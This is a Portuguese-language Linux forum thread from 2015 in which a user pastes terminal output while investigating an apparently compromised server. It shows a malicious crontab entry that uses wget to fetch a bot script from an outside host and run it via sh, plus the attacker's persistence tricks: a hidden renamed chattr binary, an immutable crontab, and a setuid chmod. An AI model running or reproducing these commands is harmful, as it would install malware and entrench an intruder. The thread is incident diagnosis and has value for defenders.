Enviado em 28/01/2015 - 19:46h
[root@SV01 scripts]# id root
uid=0(root) gid=0(root) grupos=0(root),502(cron)
[root@SV01 scripts]# id $user
uid=0(root) gid=0(root) grupos=0(root),502(cron)
Enviado em 28/01/2015 - 19:46h
[root@SV01 scripts]# id root
uid=0(root) gid=0(root) grupos=0(root),502(cron)
[root@SV01 scripts]# id $user
uid=0(root) gid=0(root) grupos=0(root),502(cron)
Enviado em 28/01/2015 - 19:53h
Enviado em 28/01/2015 - 19:55h
[root@SV01 ~]# chattr -i /usr/bin/crontab
-bash: /usr/bin/chattr: Permissão negada
Enviado em 28/01/2015 - 19:58h
type chattr
ls -l CAMINHO
Enviado em 28/01/2015 - 20:44h
[root@SV01]# ls -l /usr/bin/chattr
---------- 1 root root 14136 Nov 22 2013 /usr/bin/chattr
[root@SV01]# ls -l /usr/bin/chattr.
-rwxr-xr-x 1 root root 14136 Out 12 00:56 /usr/bin/chattr.
[root@SV01]# /usr/bin/chattr. -ais /usr/bin/crontab
[root@SV01]# chmod 4755 /usr/bin/crontab
@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
[root@GVSV02 tmp]# ls -la
total 28
drwxrwxrwt. 4 root root 4096 Jan 29 21:35 .
dr-xr-xr-x. 29 root root 4096 Jan 28 18:26 ..
-rw------- 1 root root 12288 Jan 28 19:16 .fcr-YlrUtk.swp
drwxrwxrwt 2 root root 4096 Jan 28 18:26 .ICE-unix
drwxr-xr-x. 2 root root 4096 Jan 28 19:10 .webmin
[root@SV01 tmp]# cat .fcr-YlrUtk.swp
U3210#"! Utadßÿÿξg-á½ ~}vjG4$## * * * * *# * * * * * us# * * * * * user-name command # * * * # * *# * * * * * user-name comman# * * * * * user-name co# * * * * * user-name command t# * * * * * user-name command# * * * * * user-name command to be e# * * * * * user-name command to be executed# | | # * * * * * user-name command to be executed# | | | | |# | | | | .---- d# * * * * *# * * * * * user-name command to be executed
Enviado em 28/01/2015 - 20:47h
Enviado em 28/01/2015 - 21:33h
Enviado em 28/01/2015 - 21:54h
Entre na sua conta para responder.